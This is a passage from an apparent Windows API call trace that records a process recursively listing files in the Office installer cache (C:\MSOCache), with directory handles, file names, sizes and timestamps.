ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0064.219] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0064.219] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0064.220] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0064.220] FindClose (in: hFindFile=0x576a40 | out: hFindFile=0x576a40) returned 1 [0064.220] GetProcessHeap () returned 0x550000 [0064.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2672090 | out: hHeap=0x550000) returned 1 [0064.220] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0064.220] GetProcessHeap () returned 0x550000 [0064.220] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2672090 [0064.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576a40 [0064.221] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.221] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0064.221] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0064.222] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0064.222] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0064.222] FindClose (in: hFindFile=0x576a40 | out: hFindFile=0x576a40) returned 1 [0064.223] GetProcessHeap () returned 0x550000 [0064.223] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2672090 | out: hHeap=0x550000) returned 1 [0064.223] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0064.223] GetProcessHeap () returned 0x550000 [0064.223] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2672090 [0064.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x576a40 [0064.223] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.224] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0064.224] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0064.224] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0064.225] FindNextFileW (in: hFindFile=0x576a40, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0064.225] FindClose (in: hFindFile=0x576a40 | out: hFindFile=0x576a40) returned 1 [0064.225] GetProcessHeap () returned 0x550000 [0064.225] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2672090 | out: hHeap=0x550000) returned 1 [0064.225] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0064.226] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0064.226] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.227] FindNextFileW (in: hFindFile=0x576a00, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0064.227] FindClose (in: hFindFile=0x576a00 | out: hFindFile=0x576a00) returned 1 [0064.227] GetProcessHeap () returned 0x550000 [0064.227] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0064.227] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0064.227] GetProcessHeap () returned 0x550000 [0064.227] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0064.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0065.030] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.030] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0065.030] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0065.031] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0065.031] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.031] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.031] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0065.472] GetProcessHeap () returned 0x550000 [0065.472] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0065.472] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0065.473] GetProcessHeap () returned 0x550000 [0065.473] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0065.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0065.747] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.747] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0065.747] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0065.747] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0065.748] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.748] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.748] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0065.814] GetProcessHeap () returned 0x550000 [0065.814] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2650070 | out: hHeap=0x550000) returned 1 [0065.814] FindNextFileW (in: hFindFile=0x56a978, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0065.814] GetProcessHeap () returned 0x550000 [0065.814] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2650070 [0065.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0065.815] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.815] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.815] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0065.816] FindNextFileW (in: 